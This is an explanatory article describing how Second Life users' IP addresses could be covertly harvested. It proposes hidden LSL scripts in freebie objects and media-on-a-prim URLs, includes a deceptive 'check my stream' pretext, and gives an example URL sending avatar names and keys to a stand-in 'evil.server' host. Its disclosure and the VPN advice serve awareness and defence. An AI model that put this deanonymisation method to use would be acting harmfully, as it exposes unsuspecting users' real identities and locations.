The redzone was some third-party service in Second Life that allowed people to correlate between avatars and IP addresses. A while back, a great case was made out of it, and while the fluff was bigger than the punch, the main reason for creating a redzone service was to impose restrictions on users universally (all the alts included). This is not innovative in any way, in fact some MMOs such as GuildWars implement this feature server-side: once a player is ignored (muted in Second Life terminology), the ignore is set on the whole account such that rolling a new character (avatar in Second Life terminology) will not override that ignore.

The benefit of something like this is arguable both ways, however the triviality of how easy it is to accomplish such a correlation does not warrant leaving it up to obscurity on Linden's behalf.

This was sent to as as contract work long ago, however we turned it down, made it anyway, shut it down and we're now explaining the principles here.

Second Life (and OpenSim) is a service that relies heavily on HTTP for transmitting data in and out of the world. Some of the communication between the avatar and the outside world is performed through Linden servers, whilst other communication is performed at the viewer level - between the viewer and the outside world.

The general distinction is made by scripts that reside within the virtual world:

1. Using LSL-only, these are able to query most of the in-world environment and grab avatar names, primitive names, and so on. Additionally, llHTTPRequest can potentially (and it does in many cases) transmit this information to the outside world. Nevertheless, all the data transmitted by LSL scripts in Second Life first goes through the servers at Linden Labs and although a PHP script on the far side, on the Internet, could receive the data transmitted from within Second Life, it will only record the IP of the last exit node - in this case, the Linden Labs servers.
2. On the other hand, new features such as Media-On-A-Prim, as well as older features such as shoutcast or video streams are only hinted to by the world to the viewer, and then the viewer connects to that address directly. In this latter case, the communication is performed directly between the viewer (on the client's machine) and whatever service is listening on the other far side of the Internet.

In the first case, it is impossible to use LSL to gather TCP-level identifying information from an avatar in-world. However, a combination of the first and second means of communication can be easily implemented in order to harvest avatars and their connecting IPs.

Two methods are explained that could easily be implemented - we mean easy from the perspective of the programming required, perhaps a fair share of struggle with testing and optimizing them.

• Wide area - this involves mass-harvesting IP addresses using popular simulators.
• Easter egg - this involves crafting objects that contain unreadable scripts that harvest the IP address of the receiver.

A boilerplate scenario would be to agree with several (or just very popular) simulator owners to harvest data for them. The set-up would involve parcelling the landing point - perhaps in parcels with either a media-on-a-prim primitive as the base or a shoutcast address for that small land parcel.

When the avatar teleports to that simulator, they get directed to the landing point, their viewer connects to a shoutcast or a website address that uses plain PHP (or other) methods to determine the IP and, additionally, the primitive sends their avatar name along with it. This method has its limitations because an avatar may reject to play the media and a different incoming agent may mix-up what IP belongs to whom.

Nevertheless, the specifics could be worked out in order to be precise enough. Since we assumed that we will be doing this on very popular simulators, there will most likely be revisits of the same avatars, so that the collected data could be gradually refined and made stronger in time.

Perhaps a more feasible solution would be to create objects that have hidden scripts in them that load a webpage on a hidden primitive - or perhaps, it could be disguised as the functionality of the object itself. These could then be sold as freebies over marketplace and once rezzed would harvest the IP and avatar name of the buyer (We do not feel the need to mention, but no, Wizardry and Steamworks does not do that).

Perhaps some of those widely available gadgets on marketplace that show the weather around the world using media-on-a-prim, or perhaps some control panel for some service on the Internet that needs to display a webpage.

"Hey, could you help me? I am toying with my stream, I have a concert in 10 minutes, can you check to see whether you hear the stream?"

• Record avatar name.
• Read IP on Shoutcast/Icecast.
• Rinse and repeat for all avatars you can find.

The attack vector, from a programming standpoint, as mentioned previously is trivial. The sketch below illustrates a simple clusterfuck of an avatar that rezzes an object containing a malicious script.

The following steps are performed by this attack:

• the LSL script harvests the avatar name, owner key, position, etc… Anything that is available as Second Life identity information.
• the LSL script then crafts an URL that would make a GET or POST request to a webserver.
• the LSL script sets that crafted URL on the face of a primitive of the Egg object.

The avatar is thus compromised in two steps:

1. the Second Life information is compromised when it gets sent to the webserver.
2. the Real Life information is compromised when the avatar loads the media on the prim.

Since the media-on-a-prim queries a crafted URL, such as:

http://evil.server/collect.php?name=Phillip Linden&key=16136ec3-0b28-44b2-8d8b-4244d66263f0

only when the avatar displays the media-on-a-prim, then the PHP script on the receiving end can correlate the IP address with the GET and POST data sent by the LSL script.

• Jewelry
• Shoes
• Hair
• You get it…

Obsolete example code is available at the bottom of the page.

Third party viewers such as Firestorm tend to pitch-sell liability dumping as a guarantee for security. When they are shipped, they enable an option that allows an avatar to block or deny a connection to media streams, such as parcel music based on a popup. They literally prompt the user for some address like:

http://really-good-streams.to/playlist.pls

and they offer the user the option to deny or block the connection to that server.

That offers no protection at all, just an annoying pop-up since it is impossible to determine whether the destination webserver at really-good-streams.to is well-behaved.

A webserver could easily remap the MIME settings and interpret .pls files as PHP and the end-user facing a pop-up such as the one offered by Firestorm, has no clue whether the server is trust-worthy or not.

The only achievement is more confusion and even better masked evil servers.

Either use a VPN or tor to hide your identity from third-parties in Second Life. Note that piping your Second Life traffic over such services will hide your traffic from Linden but your viewer bypasses Linden servers so while you are hidden from Linden Labs, you are still wide-open to third-parties in Second Life. On that note, you should pass your entire traffic through those services rather than just your viewer traffic ¹⁾.

Hopefully, until Linden Labs enables flash or java/javascript on a primitive, you could potentially still be safe from web-based data-mining techniques.

The following are sketch-level scripts that were created cca. 2010 - we noticed that it more about illicit behavior than a technological challenge, so we did not expand on them properly to get them to the level of a deliverable payload.